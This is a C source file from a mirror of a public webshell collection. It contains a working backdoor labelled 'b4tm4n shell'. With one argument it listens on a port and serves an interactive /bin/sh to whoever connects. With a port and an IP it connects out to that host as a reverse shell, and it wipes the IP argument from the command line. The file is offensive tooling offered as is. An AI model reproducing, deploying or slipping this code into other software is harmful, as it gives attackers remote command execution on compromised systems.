mirror of
https://github.com/tennc/webshell
synced 2024-11-22 19:23:05 +00:00
42 lines
1.1 KiB
C
42 lines
1.1 KiB
C
#include <stdio.h>
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#include <string.h>
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#include <stdlib.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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#include <unistd.h>
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int main(int argc,char *argv[]){
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int s,c,o=1;
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struct sockaddr_in i;
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if(argc==2){
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i.sin_family=AF_INET;
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i.sin_port=htons(atoi(argv[1]));
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i.sin_addr.s_addr=htonl(INADDR_ANY);
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s=socket(AF_INET,SOCK_STREAM,0);
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setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&o,sizeof(o));
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if(!s)exit(0);
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bind(s,(struct sockaddr *)&i,0x10);
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listen(s,5);
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c=accept(s,0,0);
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send(c,"b4tm4n shell : connected\n",24,0);
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dup2(c,0);
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dup2(c,1);
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dup2(c,2);
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system("export TERM=xterm;PS1='$PWD>';export PS1;exec /bin/sh -i");
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close(c);
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}
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else if(argc==3){
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i.sin_family=AF_INET;
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i.sin_port=htons(atoi(argv[1]));
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i.sin_addr.s_addr=inet_addr(argv[2]);
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bzero(argv[2],strlen(argv[2])+1+strlen(argv[1]));
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s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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if((connect(s,(struct sockaddr *)&i,sizeof(struct sockaddr)))<0)exit(0);
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send(s,"b4tm4n shell : connected\n",24,0);
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dup2(s,0);
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dup2(s,1);
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dup2(s,2);
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system("export TERM=xterm;PS1='$PWD>';export PS1;exec /bin/sh -i");
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close(s);
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}
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}
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